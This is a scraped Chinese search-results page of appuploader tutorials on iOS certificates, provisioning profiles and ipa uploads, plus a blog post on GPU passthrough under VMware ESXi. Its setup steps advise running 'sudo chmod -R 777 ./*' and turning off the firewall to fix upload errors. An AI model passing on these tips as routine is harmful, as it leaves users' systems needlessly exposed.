首页> 搜索结果页
"win7系统未识别网络" 检索
共 232 条结果
appuploader 上架详解大全(上)
Appuploader 常见错误及解决方法   问题解决秘籍 遇到问题,第一个请登录苹果开发者官网 检查一遍账号是否有权限,是否被停用,是否过期,是否有协议需要同意,并且在右上角切换账号后检查所有关联的账号是否工作正常,apple账号的邮箱也是个重要的地方,当有ipa上传,账号有发生变化,被停用,apple经常发送一些邮件,去检查邮件通知,根据邮件通知修改调整。只有账号正常没问题,功能才能正常使用。apple开发常用的3个网址: 开发者中心 : https://developer.apple.com/account/app管理中心: https://appstoreconnect.apple.com/apple ID管理中心: https://appleid.apple.com/ 工具只是提高工作效率,不要想着使用工具来突破apple限制,或者实现apple本身没有的功能。 常见的例如没给apple 688年费就想着软件上架,想长期有效突破apple 7天的限制,想着不受苹果限制的证书期限,设备数量限制等,都是异想天开,这是不可能的。 登录失败 弹出空白错误提示,请下载最新版本的appuploader试试,或者删除appuploader目录下的data目录试试 收不到短信,请在发送类型地方选择短信类型,选择自己能收短信的号码,并且一天之内有总短信数量限制,没用超过数量 登录的时候如果没给apple 688费用的,请勾选未支付688,否则登录进去后会提示免费账号,这个提示不是说没激活appuploader的意思。 无法启动 最新版本部分电脑有兼容问题,可以下老一点的版本(带数字标记的是老版本),例如appuploader_win_0608.zip appuploader 老版本 don't have access,提示没权限或同意协议 下面几个错误是是因为苹果更新了协议,请登录苹果官网同意协议。 下面这个提示可能是账号过期,或者被停用,或者没付费688给apple,或者有协议需要更新。解决办法就是登录apple网站,确保账号正常。 苹果协议更新的常见的3个网址,每个网址都需要进去检查一遍,检查完了点击右上角的切换账号按钮,再进去检查一遍,检查完了点击右上角的切换账号按钮,再进去检查一遍,检查完了点击右上角的切换账号按钮,再进去检查一遍,重要的事情说3遍开发者中心 : https://developer.apple.com/account/app管理中心: https://appstoreconnect.apple.com/apple ID管理中心: https://appleid.apple.com/证书管理中心 https://developer.apple.com/account/resources/certificates/list   上传后在app管理中心找不到版本提交 上传后出现下面的图,success表示已经上传成功了。上传成功后apple会经过几分钟到几个小时的时间检测你的ipa是否有问题,检测完后会发送一封邮件到你的apple账号对应的邮箱,上传完后请登录邮箱查看邮件,特别留意垃圾邮箱是否有apple发过来的邮件。如果apple检测到ipa有问题,是不会出现在app管理后台中的,就会出现大家经常遇到的在apple app管理中心找不到版本   不是等待上传状态 这是因为bundle id不正确导致的。修改ipa里面的bundle id,或者在app 管理中心https://appstoreconnect.apple.com/apps修改app的套装id未ipa的 bundle id。如下图例子,则ipa里面的bundle id必须是com.jia.netjia,保持一致就不会报此错误。  提示已经上传过包 在开发工具里面修改build version,hbuilder里面叫应用版本号,把此数字调大一个数,然后重新编译app,再上传    上传提示tcpPort or udpPorts错误 网络问题导致,可以切换通道2试试,通道2不支持中文目录和中文,特殊字符等文件名称。或者试试换网络试试。 遇到此错误第一个请确保工具是最新的,不是最新的或不确定是不是最新的就重新下载工具后再试试。 如果还是出现此错误,请尝试 关闭防火墙,或者换一个网络,例如wifi,或者手机热点之类,因为这个是提示网络连接端口被禁止了。 [2021-12-23 15:10:19 CST] ERROR: There was a general exception while executing [2021-12-23 15:10:19 CST] ERROR: An exception has occurred: either tcpPorts or udpPorts must be non-empty   上传提示已经有进程在上传 这是因为之前上传失败,软件出现异常导致。关闭软件重新尝试。如果还不行,在提示的文字中有一个文件,这个文件名字带token,找到他的完整路径,然后把这个文件删除了,然后重新再试应该就可以了。如果不会,则重启电脑或者换个电脑试试也可能能修复   保存上传专用密码提示错误 上传专用密码不是apple账号的密码,他是在https://appleid.apple.com/里面点击app-specific密码生成的一个字符串,这个密码主要是用来给上传ipa使用。点击专用密码设置界面的汉字可以查看更多帮助 https://support.apple.com/zh-cn/HT204397   上传专用密码记住失败 当未登录apple账号密码,直接使用上传专用密码上传时,这个信息是不会保存的,如果希望保存,请先点击其他按钮,弹出登录框后登录apple账号密码,然后再设置上传专用密码,这样就会记住密码了。   编译app失败提示错误 这是因为软件发布的时候使用的证书不是发布证书,在工具里面制作一个证书选择ios distribution 类型或者apple distribution 类型。   编译提示描述文件和证书不匹配 这个是因为选错了描述文件(.mobileprofile文件),或者描述文件制作的时候没有勾选对应的证书,导致描述和证书不一致不匹配,重新选择或者制作描述文件或者证书  编译提示不包含权限 这个是因为apple id未开启apple登录授权功能,可以选择在开发工具里面关闭app的apple登录功能,或者登录apple开发者中心https://developer.apple.com/account/resources/identifiers/list 然后点击对应的apple app bundle id,找到Sign In with Apple ,开启,然后重新制作描述文件,重新下载描述文件,然后重新编译app。 当然类似的还有提示没有推送权限,那就开启推送权限后重新编译app    安装提示验证失败 这是因为ipa不是使用开发证书编译,或者开发证书描述文件里面没有加入当前设备的udid。在工具或者apple官网添加设备的udid后,重新制作描述文件,重新下载描述文件,并重新编译app后再试。      安装弹出空白错误 此错误是因为手机和电脑连接出现了错误,一般拔出usb连接,重新连接试试,或者点击返回后再进入这个界面看看是否修复    提示安装icloud和驱动 可以下载最新版本的appuploader,新版本不再需要icloud,如果因为无法启动最新版本用的老版本需要安装icloud。但是获取设备udid还是需要安装驱动程序的。 安装icloud,并且下载apple官网版本,不要从windows store下载安装icloud地址 如果失效请从下面地址进入然后选择 在 Windows 7 和 Windows 8 上,您可以从 Apple 网站下载 Windows 版 iCloud。 https://support.apple.com/zh-cn/HT204283 apple的驱动在itunes 内包含,如果安装icloud后还提示错误,请安装itunes windows版本,就会自动安装驱动   证书下载失败提示未使用kxapp服务同步 工具里面只能下载使用工具制作的证书,制作证书时如果取消勾选使用kxapp服务同步,则只能手动自己管理在不同电脑之间传输。如果需要任意电脑下载,删除证书在工具appuploader里面重新制作,并且勾选使用kxapp服务同步    提示免费账号,无法使用 上传appstore,制作带推送功能的证书,描述,都需要支付688给apple后才能使用。免费的账号,只能制作7天免费的app。登录账号界面勾选未支付 688可以开发软件,但是不能上传。   怎么获取appuploader免费试用功能 下载后直接使用apple账号登录就自动获得7天免费试用时间,无需其他操作。每个账号只有一次试用时间,不是7天过后又7天。 下一篇 下载和安装appuploader 下载和安装appuploader IOS开发工具官网地址 http://www.applicationloader.net/ 最新版本已经优化了没支付688给apple的账号登录流程,无需再安装其他软件。部分电脑最新版本无法启动,请下载老版本。 下载最新版本 下载老版本 appuploader_win_0608.zip 在appuploader官网首页下载,如果您是windows电脑,则选择点击 windows版,如果是mac 电脑则选择 mac版 下载后解压到电脑中就安装完成了。 windows启动 windows系统里面,解压后双击appuploader.exe就可以直接运行了。 尽量不要放c盘,不要放带中文路径的盘。如果不行可以右击然后选择管理员运行试试。  mac和linux 电脑启动处理 如果是在mac或者linux电脑中,需要使用命令行,对appuploader修改权限。 在appuploader解压后的目录,打开命令行工具,执行下面的命令,使appuploader具备可执行权限。就可以双击启动了。 sudo chmod -R 777 ./* 不会命令行的也可以试试,把各项权限都改查可执行。 mac电脑修改文件权限 部分功能不可用处理 有些电脑可能会对runtime下的组件进行权限控制,导致无法调用组件,例如无法上传,可以双击运行下试试是否被系统权限阻止,正常会是一个黑色框一闪而过,如果系统提示权限错误,则放开权限,允许执行。 驱动安装 安装测试,自动读取设备udid需要安装苹果手机驱动,驱动下载地址。部分电脑缺少程序运行的基本库,可以安装驱动解决。下载后把文件夹内的exe都安装后重启工具。 下载apple手机驱动apple_drivers_win.zip 如果是未支付688的apple账号,还需要安装icloudicloud下载地址:https://support.apple.com/zh-cn/HT204283 下载icloud   上一篇Appuploader常见问题下一篇 IOS证书制作教程 IOS证书制作教程 点击苹果证书 按钮 点击新增 输入证书密码,名称 这个密码不是账号密码,而是一个保护证书的密码,是p12文件的密码,此密码设置后没有其他地方可以找到,忘记了只能删除证书重新制作,所以请务必记住密码。还有为了安全起见,密码不要太简单。证书名称是你为了在证书列表里面便于区别的一个字符,自己好辨识就可以,尽量是是字母和数字之类 选择证书类型 带distribution的是发布类型,带development的是开发类型。 apple类型=ios+mac,所以开发时选择ios app development和apple development 类型都是可以的 选择bundle ID 只有部分类型的证书需要选择bundle id,例如推送证书。因为大部分证书是不和app关联的。而是通过描述文件profile文件关联app。 使用appuploader服务同步 如果期望制作好证书后在其他电脑上同样可以下载到这个证书,或者和你同事同步此证书,则需要勾选使用appuploader服务同步。否则您需要手动管理p12文件在不同电脑之间的传输,并且一但创建下载后,无法在其他电脑下载,只能手动复制文件过去。一般情况下,推荐使用appuploader服务同步。 证书类型说明 IOS开发选择apple development或者ios app development 类型ios 发布选择 apple distribution或者 ios distribution (app store and ad hoc)开发推送证书选择 apple push notification service ssl (sandbox)发布推送证书选择 apple push notification service ssl (sandbox & production) 其他证书不是很常用,可以自行百度各种证书说明  上一篇下载和安装appuploader下一篇 登录appuploader 登录appuploader 常规使用登录方法 双击appuploader.exe 启动appuploader 点击底部的未登录,弹出登录框 在登录框内输入apple开发者账号 如果没有apple开发者账号,只是普通的apple账号,请勾选上未支付688 然后软件会提示输入验证码,点击验证,验证成功就可以使用各项功能了 最新版本已经优化了未支付688给apple的账号的登录流程,无需再安装其他软件,可以直接下载最新版本 验证码说明 为了安全,账号必须开启验证码验证功能,才能使用appuploader,启用验证码功能请前往 https://appleid.apple.com ,在账号管理里面可以设置密保手机。 验证码输入界面留意是短信还是设备码,如果是收到了短信则选择短信,如果是设备码则选择设备码。 每天验证码数量是有限制的,如果不断发送,账号会被限制登录,所以不要快速不断的点击发送。如果提示验证码发送次数过多,则需要等待第二天再试了。 使用上传专用密码登录 如果您只有上传权限,没有账号的其他权限,也没有账号的密码,可以通过上传专用密码登录。 打开软件后点击 选择ipa 或者选择截图 按钮,会弹出直接输入上传专用密码登录功能,此方法登录后只能上传ipa和截图,无法进行其他的证书管理之类的功能。并且此方法登录后,账号和上传密码不会被记住,每次打开软件都需要重新输入。 未支付688给apple账号登录 没支付费用给apple的账号,或者过期的账号,没有正常的开发者权限,只有非常有限的开发测试权限功能。 限制比较多,例如无法进行上传上架,无法创建发布证书,app无法使用推送功能,测试设备最多3个,有效期最多7天等等。但是进行普通的开发和安装到自己手机进行测试还是可以的。 登录的时候需要,勾选未支付688选项,登录进去后,管理证书的时候也只有开发证书一种类型。免费账号,在登录appuploader之前,需要下载icloud,并且登录icloud,确保账号是ok的 。 icloud下载地址:https://support.apple.com/zh-cn/HT204283 下载icloud 。安装icloud,并且下载apple官网版本,不要从windows store下载 ,您可以从 Apple 网站下载 Windows 版 iCloud。  上一篇IOS证书制作教程下一篇 IOS描述文件制作教程iOS描述文件(.mobileprovision)一键申请 在主界面上点击描述文件按钮。  新建ios描述文件 然后点击新建,然后输入描述文件名称,描述文件名称字符和数字,自己好辨识就可以。然后选择描述文件类型,再选择bundle ID,如果没有bundle id,可以点击 弹出框框下面的添加bundle 按钮, bundle id也叫app id,app和描述文件绑定,不和证书绑定,所以每个app有一个单独的描述文件,但是很多app可以公用一个证书。 开发证书 如果全部证书旁边没有证书 可能的原因 没有创建证书 证书是ios push类型 证书和描述文件不匹配,例如证书是ios app development,但是描述文件是app store类型 解决办法是需要先去证书管理先创建好对应的证书类型  测试设备 如果选择的类型是ios app development 类型,则全部测试设备旁边必须有测试设备并且勾选上,如果没有显示测试设备,点击框框下面的添加测试,然后把测试设备的udid输入,把ios设备连接到当前pc,会自动获得设备的udid。 如果app编译后无法安装到设备,可能是因为设备的udid没有添加进入描述文件,则需要添加描述文件后重新编译。 描述文件类型说明 带app store类型的是发布类型,带development的是开发类型,push没有描述文件,所以不要问推送选择哪种描述文件类型ios开发选择ios app development类型发布app的时候选择app store类型。  上一篇登录appuploader下一篇 上传了ipa但iTunes Connect没有构建版本问题上传了ipa但iTunes Connect没有构建版本问题 AU上传ipa出现下图红框提示说明成功上传,如果App Store后台没有出现构建版本,请登录 apple账号对应的邮箱查看反馈,特别留意垃圾邮箱,无论成功还是失败,apple都会发邮件 一、首先登录iTunes Connect 后台、查看ipa构建情况 https://appstoreconnect.apple.com/ 点击进入APP,点击活动,所有构建版本选项(下图所示),有两种情况!1、ipa包没问题,显示正在处理,这种就是成功上传,(等待处理即可,一般十几分钟处理时间,偶尔也会要几个小时)2、ipa有问题,没有出现版本正在处理,或者刷新页面正在处理的版本消失(到开发者邮箱查看反馈邮件原因,反馈邮件也可能在垃圾箱)修改好苹果反馈的问题重新打包再传 二、错误反馈邮件示例及说明 错误反馈邮件示例(如下图)!如看不懂英文复制到百度翻译看下。 下图这个错误的意思是此包用开发证书打包的ipa,上架需要用发布证书打包。 当然还有其他各种各样的原因,具体复制反馈邮件翻译看下! 证书类型不正确下面这个是因为证书和描述文件不正确,发布需要选择app store 类型的描述文件和distribution类型的发布证书。  Invalid App Store Icon还有一个非常常见的一个错误(如下反馈)就是APP图标问题,不能使用透明背景,一般把图标做成圆角,圆角那边就是透明的所以不行。 苹果的图标会自动圆角的,所以不需要去改成圆角的,直接正方形的图标上传! ITMS-90717: Invalid App Store Icon – The App Store Icon in the asset catalog in ‘AppCanPlugin.app’ can’t be transparent nor contain an alpha channel.Best regards,The App Store Team ITMS-90717:无效的App Store图标 – “AppCanPlugin.app”资产目录中的App Store图标不能透明,也不能包含alpha频道。最好的问候,App Store团队 三、修改相关错误后重新打包版本号的修改 修改错误重新打包的时候记得加下版本号,比如你刚上传的是1.0版本,重新打包时增加下版本号如1.1,如果还是跟之前上传过相同的版本号的ipa文件,上传不了  上一篇IOS描述文件制作教程下一篇 2022 ios APP最新开发测试教程2022 ios APP最新开发测试教程 1.本文详细介绍最新的在windows上进行ios app开发编译打包安装到手机测试的完整流程。介绍ios开发经常遇到的问题和解 决方法,包括ios开发证书,ios开发描述文件等。 2.Apple开发常用的三个网址: 开发者中心:  https://developer.apple.com/account/ App 管理中心: https://appstoreconnect.apple.com/ App ID管理中心: https://appleid.apple.com/ Ios开发助手工具:http://www.appuploader.net/ App Uploader下载安装 1.进入App Uploader官网下载下载地址:http://www.applicationloader.net/最新版下载地址:https://net-appuploader.oss-cn-qingdao.aliyuncs.com/appuploader_win_0728.zip 2.双击应用程序下载。 3.进入app uploader主界面 切换中文界面 1.根据步骤如图如下操作的,点击中/英文切换,弹出提示后关闭软件重新打开即可切换成功。 apple 账号登录 1.使用开发者账号登录,并且没有支付688,需要勾选‘未支付688’选项进行登录。 2.将绑定手机号收到的验证码输入即可登录。 创建ios(.p12)证书 1.点击苹果证书 2.新增苹果证书 输入证书密码:这个密码不是账号密码,而是一个保护证书的密码,是p12文件的密码 证书名称:是你为了在证书列表里面便于区别的一个字符,自己好辨识就可以,尽量是字母和数字之类。 证书类型说明:IOS开发选择apple development或者ios app development 类型ios 发布选择 appledistribution或者 ios distribution (app store and ad hoc)。 开发推送证书选择 apple push notification service ssl (sandbox),发布推送证书选择 apple push notification service ssl (sandbox & production),其他证书不是很常用,可以自行百度各种证书说明。上架版本需要 使用正式的证书(apple distribution)。 开发测试用开发证书(apple development) 一般都要创建两个证书一个用于开发,一个用 于上架,如果有支付内容,还必需要 Apple Pay 的证书。证书无需创建太多,apple对证书有数量限制,一般3个开发证书就不 让创建更多同类型的证书了。 官网遇到问题,首先登录文章开通的苹果开发官网。检查 是否有权限/是否被停用/是否过 期/是否有协议需要同意。在右上角切换账号检查所关联的账号是否功能正常。Apple邮箱会接收到许多通知消息,如IPA上 传,账号发生变化,被停用,都会有消息提示。 8.点击p12下载到电脑。 添加测试设备UDID 1.点击udid 2.连接苹果手机,即可识别出来udid 创建描述文件 1.点击描述文件 2.点击新增描述文件,在弹出框里面选择要安装测试到的设备,如果是发布类型无需选择设备。选择使用的证书,如果忘记是哪 个 了可以选择全部证书。   描述文件类型说明:带app store类型的是发布类型,带development的是开发类型,, push没有描述文件,所以不要问推送选 择哪种描述文件类型,ios开发选择ios app development类型,发布app的时候选择app store类型。(ps:除了APP Store类型的描述文件外,其他的描述文件都需要选择测试设备) 3.点击下载按钮下载桌面 测试安装App 1.以HBuilder打包Vue项目为例,打开详细设置进行设置完成后,点击保存。 2.官菜单项点击‘发行-> 云打包-打原生包’,出现如下图所示弹框,取消广告勾选,没有错误提示,选择刚才制作的p12 和.mobileprovision文件,输入刚才设置的证书密码。点击打包,等待打包未完成(仅以ios为例) 3.官打包完成后点击确定“OK”按钮查看打包状态信息,打包完成后,保存安装包到目标文件,发送到手机端安装即可运行。 测试设备:如果选择的类型是ios app development 类型,则全部测试设备旁边必须有测试设备并且勾选上,如果没有显示测试设备,点击框框下面的添加测试,然后把测试设备的udid输入,把ios设备连接到当前pc,会自动获得设备的udid。 如果app编译后无法安装到设备,可能是因为设备的udid没有添加进入描述文件,则需要添加描述文件后重新编译。  上一篇上传了ipa但iTunes Connect没有构建版本问题
问答
安全  ·  JavaScript  ·  Linux  ·  网络安全  ·  开发工具  ·  数据安全/隐私保护  ·  iOS开发  ·  开发者  ·  Windows
2023-02-28
服务器显卡直通和GPU问题分析
从最开始买服务器的时候我就问了商家,能不能用显卡,商家答复厚度不超过2CM的刀卡是可以用的;并且在安装macOS的时候,我也发现3M的显存是真的不够用,上显卡的冲动再次涌上心头。显卡适配关系服务器作为比较特殊的设备,和普通PC不同,支持的显卡型号有限,以下为我从HPE官网找到的显卡适配关系,与其说是显卡,不如说是GPU,更偏向于计算,适合搞AI(所以一开始有朋友问我是不要开始搞大数据或者人工智能了,让大家失望了)。标红部分为已经查明的支持vGPU的显卡型号,也就是能按需分配给虚拟机。这时我意识到,服务器有适配关系,那VMware ESXi是不是也有适配关系?我就找HPE的售后400工程师咨询了一下,大跌眼镜!直接丢给我一个查询配套关系的软件,下载原始链接如下:http://h20195.www2.hpe.com/v2/redirect.aspx?/products/quickspecs/15033_div/15033_div.HTML应该是GFW的原因,源链接打开失败,但是会跳转到一个新的链接:http://h41370.www4.hpe.com/quickspecs/overview.html这个是DL360 Gen9所有可扩展配置的配置表,最终查明这款机器只支持一款GPU:HPE NVIDIA Quadro P4000 Graphics Accelerator并且对电源有要求,好在我的500W电源应该是够用的。 上面的图里也有我查的价格,6500块差不多够我再买一台服务器了。并且咨询得知NVIDIA的显卡都涉及授权问题,之前的经验中NVIDIA会针对每个VDI(Virtual Desktop Infrastructure,约等于虚拟机)收取授权费用,大约为每个VDI每5年8000块;这么贵,不如直接去抢钱好了!远程桌面假设我是一个很有钱的工程师,我买了NVIDIA的显卡并且购买了授权。那我能不能实现在虚拟机里面打游戏呢?常规操作是不行的。因为在使用windows远程桌面的时候,调用的不是虚拟机或者原主机的显卡。而是Windows 远程桌面虚拟的显示驱动,也就是说原本的物理显卡根本就没有调用过。微软的相关解释链接如下:https://docs.microsoft.com/zh-cn/windows/win32/termserv/remote-desktop-protocol部分说明如下(引用链接: Remote Desktop Protocol):On the server, RDP uses its own video driver to render display output by constructing the rendering information into network packets by using RDP protocol and sending them over the network to the client. On the client, RDP receives rendering data and interprets the packets into corresponding Microsoft Windows graphics device interface (GDI) API calls. For the input path, client mouse and keyboard events are redirected from the client to the server. On the server, RDP uses its own keyboard and mouse driver to receive these keyboard and mouse events.在服务器上,RDP通过使用RDP协议将渲染信息构造为网络数据包并将其通过网络发送到客户端,从而使用其自己的视频驱动程序来渲染显示输出。在客户端上,RDP接收渲染数据并将数据包解释为相应的Microsoft Windows图形设备接口(GDI)API调用。对于输入路径,客户端鼠标和键盘事件从客户端重定向到服务器。在服务器上,RDP使用其自己的键盘和鼠标驱动程序来接收这些键盘和鼠标事件。这部分我在自己电脑上测试过,一台GT 740M(2G显存)显卡的电脑,打游戏帧率能到120帧以上;但是如果通过远程桌面来操作,会同时消耗本地PC的带宽和显卡资源。测试中使用无线网络时,占用十几兆的带宽资源游戏帧率也达不到10帧,已经卡成幻灯片了;当使用有线网络时,带宽占用超过50M时,帧率也没有达到30帧,操作还是会有卡顿。说到这里,我对5G时代下的云端游戏功能产生了怀疑,我到底需要多大的带宽和多低的延迟才能远程打游戏?是不是有其他解决方案?好像确实有,如果要调用vGPU,需要有特有的软件,才能启用物理显卡功能。现在新华三的CAS貌似有这个东西,远程桌面调用物理显卡。但是也可以用远程工具调用物理显卡,目前测试可行的就有向日葵、TeamViewer。比如说使用向日葵能达到和直接操作物理机比较接近的117 fps。显卡直通回到现实中,我没有那么多钱来买GPU和授权怎么办呢?我就不能让我的虚拟机用显卡了吗?通过咨询专家还有上网查找资料,发现可以通过设置PCI设备直通来实现。简单地讲,就是把PCI插槽直接分配给虚拟机,这样的话,一定意义上就跳过了服务器的适配关系,直接在虚拟机上装驱动就可以了。先检查一下ESXi是否支持。在ESXi管理页面,“管理”→“硬件”→“PCI设备”,选择PCI物理设备,再点击“切换直通”。可将PCI设备模式切换为直通模式(passthrough),这样就可以分配给主机了。然后我就在京东上买了一块AMD的显卡(盈通的RX550,4G显存版本)。服务器的PCI扩展槽是这样的,主要是实现了将显卡从竖插变成了横插,同时将显卡厚度限制到了2CM。 插上显卡之后底面是这样的。 把PCI扩展插槽撞到服务器上,上面是这样的。 切换PCI直通模式显卡就位之后开机,在iLO中的设备信息里面能看到识别到了显卡,显示信息为AMD Radeon。 登录VMware ESXi,在“管理”→“硬件”→“PCI设备”下面,要选择两个PCI物理设备(分别是图形和音频设备),再点击“切换直通”,这样显卡就切换到直通模式了。需要注意的是,切换直通之后需要重启服务器生效。 重启完成后,查看显卡的直通状态由“禁用”变成了“活动”。 虚拟机添加PCI设备新建一台Windows7的虚拟机,与之前操作不同的是,现在可以添加“PCI设备”了。点击“添加其他设备”→“PCI设备”。为避免出现问题,我两次添加设备,把显卡的图形设备和音频设备都添加上来了。 系统提示:添加PCI设备之后,需要为虚拟机预留所有内存才能启动,可以点击“预留所有内存”同步内存配置。最终虚拟机配置信息如下。 Windows7环境下尝试加载启动虚拟机后发现视频设备是未识别的,首先通过安装VMware Tools可以解决基本系统设备的感叹号问题;VGA图形适配器则需要打设备驱动解决。 通过鲁大师检测硬件信息,硬件识别正常。 使用360驱动大师完成显卡和声卡的驱动更新。 发现有新的AMD Log Utility Driver设备未识别,上网查了一下,大概意思是说版本不匹配导致的。 那就去官网下一个匹配的吧,型号和操作系统都选好,下载好驱动;再把之前的驱动卸载。 AMD的最新驱动程序Radeon Software。 弹出信任驱动程序发布者的弹窗,一度让我认为快成功了。 实际上还是没有解决问题,很尴尬。 Windows10环境下尝试加载我又想到Windows7去年停止维护了,是不是这个有影响?那就再装一台Windows10虚拟机,开机竟然直接识别了AMD的显卡。 装好VMware Tools之后,看上去好像没有问题了。 鲁大师硬件检测信息也正常了不少。 但是跑分性能极低! 更新驱动之后频率和带宽识别都不正常了。 搞得我有点慌了,赶紧找售后。售后先是答复显卡没有服务器的驱动,我说我装的Windows10操作系统;然后加了技术的QQ,技术一顿操作,还是解决不了显卡PCI-E速率和显卡速率不匹配的问题。呦呵,完蛋,可能还是和服务器PCI有关系,只能七天无理由退货了!所以,没钱搞什么GPU?搞什么vGPU?搞什么显卡直通?只能友情提醒大家最近不要在京东买RX550这款显卡了,免得买到我退货的商品,显得尴尬!
文章
人工智能  ·  大数据  ·  5G  ·  API  ·  虚拟化  ·  图形学  ·  iOS开发  ·  异构计算  ·  MacOS  ·  Windows
2023-02-24
appuploader 上架详解大全(下)
2022 ios APP最新开发测试教程 1.本文详细介绍最新的在windows上进行ios app开发编译打包安装到手机测试的完整流程。介绍ios开发经常遇到的问题和解 决方法,包括ios开发证书,ios开发描述文件等。 2.Apple开发常用的三个网址: 开发者中心: https://developer.apple.com/account/ App 管理中心: https://appstoreconnect.apple.com/ App ID管理中心: https://appleid.apple.com/ Ios开发助手工具:http://www.appuploader.net/ App Uploader下载安装 1.进入App Uploader官网下载下载地址:http://www.applicationloader.net/最新版下载地址:https://net-appuploader.oss-cn-qingdao.aliyuncs.com/appuploader_win_0728.zip 2.双击应用程序下载。 3.进入app uploader主界面 切换中文界面 1.根据步骤如图如下操作的,点击中/英文切换,弹出提示后关闭软件重新打开即可切换成功。 apple 账号登录 1.使用开发者账号登录,并且没有支付688,需要勾选‘未支付688’选项进行登录。 2.将绑定手机号收到的验证码输入即可登录。 创建ios(.p12)证书 1.点击苹果证书 2.新增苹果证书 输入证书密码:这个密码不是账号密码,而是一个保护证书的密码,是p12文件的密码 证书名称:是你为了在证书列表里面便于区别的一个字符,自己好辨识就可以,尽量是字母和数字之类。 证书类型说明:IOS开发选择apple development或者ios app development 类型ios 发布选择 appledistribution或者 ios distribution (app store and ad hoc)。 开发推送证书选择 apple push notification service ssl (sandbox),发布推送证书选择 apple push notification service ssl (sandbox & production),其他证书不是很常用,可以自行百度各种证书说明。上架版本需要 使用正式的证书(apple distribution)。 开发测试用开发证书(apple development) 一般都要创建两个证书一个用于开发,一个用 于上架,如果有支付内容,还必需要 Apple Pay 的证书。证书无需创建太多,apple对证书有数量限制,一般3个开发证书就不 让创建更多同类型的证书了。 官网遇到问题,首先登录文章开通的苹果开发官网。检查 是否有权限/是否被停用/是否过 期/是否有协议需要同意。在右上角切换账号检查所关联的账号是否功能正常。Apple邮箱会接收到许多通知消息,如IPA上 传,账号发生变化,被停用,都会有消息提示。 8.点击p12下载到电脑。 添加测试设备UDID 1.点击udid 2.连接苹果手机,即可识别出来udid 创建描述文件 1.点击描述文件 2.点击新增描述文件,在弹出框里面选择要安装测试到的设备,如果是发布类型无需选择设备。选择使用的证书,如果忘记是哪 个 了可以选择全部证书。 描述文件类型说明:带app store类型的是发布类型,带development的是开发类型,, push没有描述文件,所以不要问推送选 择哪种描述文件类型,ios开发选择ios app development类型,发布app的时候选择app store类型。(ps:除了APP Store类型的描述文件外,其他的描述文件都需要选择测试设备) 3.点击下载按钮下载桌面 测试安装App 1.以HBuilder打包Vue项目为例,打开详细设置进行设置完成后,点击保存。 2.官菜单项点击‘发行-> 云打包-打原生包’,出现如下图所示弹框,取消广告勾选,没有错误提示,选择刚才制作的p12 和.mobileprovision文件,输入刚才设置的证书密码。点击打包,等待打包未完成(仅以ios为例) 3.官打包完成后点击确定“OK”按钮查看打包状态信息,打包完成后,保存安装包到目标文件,发送到手机端安装即可运行。 测试设备:如果选择的类型是ios app development 类型,则全部测试设备旁边必须有测试设备并且勾选上,如果没有显示测试设备,点击框框下面的添加测试,然后把测试设备的udid输入,把ios设备连接到当前pc,会自动获得设备的udid。 如果app编译后无法安装到设备,可能是因为设备的udid没有添加进入描述文件,则需要添加描述文件后重新编译。 上一篇上传了ipa但iTunes Connect没有构建版本问题下一篇 App Uploader激活码获取 App Uploader激活码获取 1.点击图示的激活,获取激活码。 如果弹出界面状态显示 过期 表示需要激活,如果状态显示 激活 则表示是提前提醒快过期了 2.如图示,点击链接: http://www.applicationloader.net/purchase.html 。会跳转购买激活码页面,购买成功即可生成激活码,购买的激活码越多是越划算的。 3.返回主界面进行登录,输入前面获取的激活码,激活成功后关闭软件重新登录。 上一篇2022 ios APP最新开发测试教程下一篇 生成IOS app专用密码教程生成IOS app专用密码教程 1.如果没有APP账号的话,到apple ID官网注册一个账号。 下载链接: https://appleid.apple.com/ 2.填写完下面资料,密码的注意事项在红圈区域。 3.填写完信息点击“继续”。 4.依次输入邮箱收到的验证码。 5.输入短信验证码。 6.进入这个页面,App ID账户就创建成功了。 7.跳转到APPID页面中,点击“App专用密码”中的三点 8.输入账号,密码即可生成专用密码(后面IPA到苹果后台也会使用到此专用密码) 请注意,此处打码的弹出的才是app专用密码,之前设置的那个是专用密码名称 上一篇App Uploader激活码获取下一篇 App Uploader下载安装 App Uploader下载安装 1.进入App Uploader官网下载。 下载地址:http://www.applicationloader.net/ 最新版本下载地址: https://net-appuploader.oss-cn-qingdao.aliyuncs.com/appuploader_win_0728.zip 2.在弹出框中点击“下载”。 3.在弹出框中点击“文件夹”打开。 4.右键选择“解压全部文件”。 5.选择“提取”。 6.双击应用程序 7.选择“更多信息”。 8.进入AppUloader主界面。 上一篇生成IOS app专用密码教程下一篇 appuploader和xcode打包导出ipa xcode打包导出ipa 众所周知,在开发苹果应用时需要使用签名(证书)才能进行打包安装苹果IPA,作为刚接触ios开发的同学,只是学习ios app开发内测,并没有上架appstore需求,对于苹果开发者账号认证需要支付688,真的是极大的浪费,使用appuploader,只需要注册苹果普通的账号,不需要688认证,就可以打包自己开发的ios应用,自己真机测试,下面是详细教程: 第一步:注册苹果开发者账号 访问以下网址,按照提示注册即可,因为不需要支付688认证苹果开发者,所以没什么好讲的。 注册地址:Apple Developer https://developer.apple.com/cn/ 第二步:下载APP Uploader 下载地址: Appuploader官网--IOS ipa上传发布工具,证书制作工具跨平台版,windows,linux,mac系统都可用 (applicationloader.net) http://www.applicationloader.net/ 我这里是VMware虚拟机安装的mac系统,所以下载了mac安装包,直接解压,双击appuploader即可启动,看下图: 主界面如下: 简单介绍一下,这块工具的使用方法: 1、登录,由于没有支付688认证,所以登录的时候,注意勾选未支付688: 2、功能介绍,我这里主要使用了工具的三个功能部分: 证书部分:主要是通过工具生成.p12证书文件,后面这个证书要导入mac系统。 描述文件:这个文件主要包含了证书,公钥,设备信息等,和app绑定。 测试设备:主要是录入要内测的ios手机,主要是udid,udid可以理解为设备的一个唯一标识码,iphone手机udid的获取,可以安装驱动后通过appuploader工具自动获取 其他功能模块我这也没有用到,具体可以通过工具软件的帮助文档详细了解,帮助文档也列出了常见的问题以及解决方法: Appuploader常见问题 (applicationloader.net),下载链接:http://help.applicationloader.net/topic/appuploader/ 第三步:使用xcode打包导出ipa文件,供其他人内测 1、mac系统导入appuploader生成的p12证书,导入方法入下图: 双击下载到的p12 文件,系统提示输入密码之类的,按照提示输入密码即可。 2、关键部分,xcode使用这个p12证书,进行打包ipa: xcode添加好了苹果开发者账号,个人p12证书有了,接下来就是xcode打包ios应用: 记得取消勾选automatically manage signing xcode编译没有问题,就会弹出一下界面 在Products目录下,把xxx.app文件拷贝出来,新建Playload文件夹,压缩Playload文件夹,得到Playload.zip文件,修改 Playload.zip文件为Playload.ipa文件,至此ios应用安装文件就弄好了. 上一篇App Uploader下载安装下一篇 